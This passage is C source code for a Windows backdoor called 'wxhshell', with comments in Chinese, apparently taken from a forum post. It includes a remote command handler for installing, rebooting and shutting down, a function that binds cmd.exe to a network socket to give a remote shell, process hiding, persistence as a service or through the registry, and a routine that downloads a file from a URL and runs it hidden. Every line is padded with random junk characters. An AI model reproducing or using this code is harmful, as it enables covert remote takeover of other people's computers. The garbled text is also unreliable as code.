  // 帮助 W }8'Pf  
  case '?': { T^Y([23  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d9B]fi}  
    break; c#|raXGT  
  } :# .<[  
  // 安装 =7w\ 7-.m  
  case 'i': { V,mw[Hw  
    if(Install()) ,24p%KJ*X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kddZZA3`  
    else x,rlrxI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QIB\AAclO  
    break; +@94;me  
    } tZ'|DCT  
  // 卸载 6%t1bM a  
  case 'r': { byLft 1  
    if(Uninstall()) 8kU! 8^mH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2^y ^q2(r  
    else v*;-yG&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H7d/X  
    break; +_; l|uhT;  
    } -db_E#  
  // 显示 wxhshell 所在路径 /JHc!D  
  case 'p': { UaWl6 Y&Vu  
    char svExeFile[MAX_PATH]; b\3Oyp>  
    strcpy(svExeFile,"\n\r"); ,eTUhK  
      strcat(svExeFile,ExeFile); lwrC pD .  
        send(wsh,svExeFile,strlen(svExeFile),0); rf>0H^r  
    break; gu0j.XS^  
    } VtnRgdJ  
  // 重启 [Jogt#Fj ]  
  case 'b': { z2g3FUTX)b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {U1?Et#  
    if(Boot(REBOOT)) E7.2T^o;M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r[BVvX/,F  
    else { 2nSSF x r  
    closesocket(wsh); F({HP)9b  
    ExitThread(0); {[+mpKq  
    } $oj:e?8N  
    break; OW3sS+y  
    } 4kBaB  
  // 关机 Y0x%sz 5  
  case 'd': { OR%'K2C6S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .#rJ+.2  
    if(Boot(SHUTDOWN)) @6wFst\t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wgamshm"d  
    else { n/SwP  
    closesocket(wsh); L1cI`9  
    ExitThread(0); IFF92VD&  
    } :-/M?,Q"  
    break; 8,C*4y~  
    } 2w["aVr =  
  // 获取shell jz qyk^X  
  case 's': { ~8GFQ ph  
    CmdShell(wsh); )iYxt:(,  
    closesocket(wsh); gDQ1?N'8{t  
    ExitThread(0); d-k%{eBV  
    break; L<ue$'  
  } >8k _n  
  // 退出 _#r+ !e  
  case 'x': { R)QC)U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n/+.s(7c  
    CloseIt(wsh); ] lrWgm  
    break; \l9qt5rS  
    } IIn"=g=9  
  // 离开 S7/eS)SQR  
  case 'q': { uI1 q>[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _*1`@  
    closesocket(wsh); 9s6U}a'c  
    WSACleanup(); B56L1^ 7  
    exit(1); ]sE?ezu  
    break; z([ v%zf  
        } Jl#%uU/sx  
  } `HZ;NRr  
  } f;W|\z'  
FVaQEMZ^  
  // 提示信息 D ,o}el  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X voo=  
} A Q'J9  
  } 1*9U1\z  
G 8g<>d{j  
  return; gm igsXQ  
} xKuRh}^K  
{L/tst#C  
// shell模块句柄 {^\+iK4bS  
int CmdShell(SOCKET sock) - jb0o/:  
{ + HK8jCa  
STARTUPINFO si; uRZZxZ  
ZeroMemory(&si,sizeof(si)); hc>HQrd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0K`#>}W#X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; glM$R&/  
PROCESS_INFORMATION ProcessInfo; gW)3e1a  
char cmdline[]="cmd"; l49*<nkmq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G Uon/G8  
  return 0; bN]+_ mF  
} wt!nMQ  
yku5SEJ\  
// 自身启动模式 Y }$/e  
int StartFromService(void) a yCY~=i  
{ A OISs4  
typedef struct fI{&#~f4C  
{ Sjv dirr  
  DWORD ExitStatus; .1KhBgy^K  
  DWORD PebBaseAddress; Z4S!NDMm~  
  DWORD AffinityMask; YwDbPX  
  DWORD BasePriority; U+:m4a  
  ULONG UniqueProcessId; pEBM3r!X  
  ULONG InheritedFromUniqueProcessId; 1 *'HL#  
}   PROCESS_BASIC_INFORMATION; xJ>fm%{5  
PsnWWj?c  
PROCNTQSIP NtQueryInformationProcess; fGUE<l  
wy0tgy(' |  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8u6:=fxb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vk77B(u  
D8Ykg >B;&  
  HANDLE             hProcess; :Av#j@#  
  PROCESS_BASIC_INFORMATION pbi; M?Dfu .t  
t&H?\)!4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pR(jglm7-  
  if(NULL == hInst ) return 0; AgS 7J(^&3  
ABQ('#78  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gp>3I!bo[K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C-Q28lD}f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,w {e  
_I@9HC 4  
  if (!NtQueryInformationProcess) return 0; (gP)%  
Z/k:~%|E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a1C{(f)  
  if(!hProcess) return 0; lAb*fafQy  
hIy~B['  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (;T^8mI2  
w65K[l;2  
  CloseHandle(hProcess); )J2mM  
]^h]t~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #M9~L[nF S  
if(hProcess==NULL) return 0; ]A~WIF  
A\4D79>x  
HMODULE hMod; */sS`/Lx  
char procName[255]; b*a#<K$T_  
unsigned long cbNeeded; A P)L:7w'e  
nyQ&f'<   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &dqLP9 5  
.~~nUu+M  
  CloseHandle(hProcess); u+Y\6~=+  
!%CWZZ 6u  
if(strstr(procName,"services")) return 1; // 以服务启动 Hx"ob_^'7  
J1( 9QN[w  
  return 0; // 注册表启动 ((H^2KJn  
} ZGexdc%  
zd2)M@  
// 主模块 f.D?sHAn  
int StartWxhshell(LPSTR lpCmdLine) n&$j0k  
{ Vr]id  
  SOCKET wsl; h;p>o75O  
BOOL val=TRUE; r+A{JHnN  
  int port=0; 94h]~GqNi  
  struct sockaddr_in door; Fq0i`~L~  
z06r6  
  if(wscfg.ws_autoins) Install(); Si_ _8D  
J[l7di5  
port=atoi(lpCmdLine); gZN8!#h}B  
e%svrJ2   
if(port<=0) port=wscfg.ws_port; e^8 O_VB  
joFm]3$;  
  WSADATA data; }q_<_lQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1Ir21un  
j]{_s"O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B^1>PE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6V$Avg\6\  
  door.sin_family = AF_INET; {x|[p_?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?:vv50  
  door.sin_port = htons(port); t)~"4]{*}D  
Q A< Rhv,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $mu^G t  
closesocket(wsl); \K5DOM "#  
return 1; U_M$#i{_  
} J=\HO8E6>  
qyZ" %Kz  
  if(listen(wsl,2) == INVALID_SOCKET) { C_( *>!Z%  
closesocket(wsl); o2nv+fy W  
return 1; fa-IhB1!K  
} xe]y]  
  Wxhshell(wsl); `nUXDmdwzO  
  WSACleanup(); Jb0`42  
Bn^0^J-  
return 0; 7S-ys+  
J*r*X.  
} Nkjza:f{  
Tl%`P_J)-S  
// 以NT服务方式启动 qz+dmef  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !02`t4Zc-  
{ VyXKZ%\dQ/  
DWORD   status = 0; lsJSYJG&  
  DWORD   specificError = 0xfffffff; ~FZ&.<s  
&TnS4O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xR-%L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q! o'}nA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9%k2'iV7  
  serviceStatus.dwWin32ExitCode     = 0; ?h3Y)5xT  
  serviceStatus.dwServiceSpecificExitCode = 0; <->{  
  serviceStatus.dwCheckPoint       = 0; }{,^@xdyW  
  serviceStatus.dwWaitHint       = 0; DH[p\Wy'  
<Q3oT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :WjpzgPuN  
  if (hServiceStatusHandle==0) return; Cw iKi^m  
Pnk5mK$  
status = GetLastError(); xmNB29#  
  if (status!=NO_ERROR) f~t:L, \,  
{ c>,'Y)8   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D|lzGt  
    serviceStatus.dwCheckPoint       = 0; "LHcB]^<  
    serviceStatus.dwWaitHint       = 0; ?274uAO'  
    serviceStatus.dwWin32ExitCode     = status; J}*,HT*  
    serviceStatus.dwServiceSpecificExitCode = specificError; rDD:7*z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p?{Xu4(  
    return; 8{|8G-Mi  
  } }'5MK  
10G}{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; szb_*)k  
  serviceStatus.dwCheckPoint       = 0; QMA%$  
  serviceStatus.dwWaitHint       = 0; &)YQvTzs  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }HL]yDO  
} ynmWW^dg  
{i1| R"ta  
// 处理NT服务事件,比如:启动、停止 n#/_Nz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &LmJ!^#  
{ Bp*K]3_  
switch(fdwControl) \n"{qfn`r  
{  jPC[_g  
case SERVICE_CONTROL_STOP: 8&;UO{  
  serviceStatus.dwWin32ExitCode = 0; @+;$jRwq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wGU*:k7p  
  serviceStatus.dwCheckPoint   = 0; q?,).x nN  
  serviceStatus.dwWaitHint     = 0; \K_ET> !  
  { (ScxLf=]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -B>++r2A^  
  } yID 164&r  
  return; D_?K"E=fw  
case SERVICE_CONTROL_PAUSE: 'UkxS b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V@\gS"Tu  
  break; F@^~7ZmP`  
case SERVICE_CONTROL_CONTINUE: cO-7ke  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y6@0O%TDN  
  break; G=)i{oC  
case SERVICE_CONTROL_INTERROGATE: >@BnV{ d  
  break; d]`CxI]  
}; 32l3vv.j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pih tf4i  
} -Bt k 3  
Z<U6<{b  
// 标准应用程序主函数 h,QKd>4:CF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XoXM ^*Vk  
{ tWo{7)Eb  
-)s qc P  
// 获取操作系统版本 *RT>`,t/  
OsIsNt=GetOsVer(); %/EVUN9=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )Z[ft  
M\C"5%2Mu  
  // 从命令行安装 J2d.f}-  
  if(strpbrk(lpCmdLine,"iI")) Install(); )js)2L~  
R|JC1f8P5  
  // 下载执行文件 L%">iQOG#  
if(wscfg.ws_downexe) { -HQQw$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2Fy>.*,?  
  WinExec(wscfg.ws_filenam,SW_HIDE); :s=NUw_^  
} U2$d%8G  
()`7L|(`;q  
if(!OsIsNt) { |b[+I?X  
// 如果时win9x,隐藏进程并且设置为注册表启动 u,F nAh?"  
HideProc(); BNz5lrfq  
StartWxhshell(lpCmdLine); m[i+knYX  
} z25lZI" X`  
else NHB4y/2  
  if(StartFromService()) Yv hA_v  
  // 以服务方式启动 -8'C\R|J+  
  StartServiceCtrlDispatcher(DispatchTable); K )[]fm  
else  rL/H2[d  
  // 普通方式启动 $`APHjijN  
  StartWxhshell(lpCmdLine); W>!_|[a  
Y;nZ=9Sw  
return 0; jATI&oX  
}
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只看该作者 1 发表于: 2006-10-10
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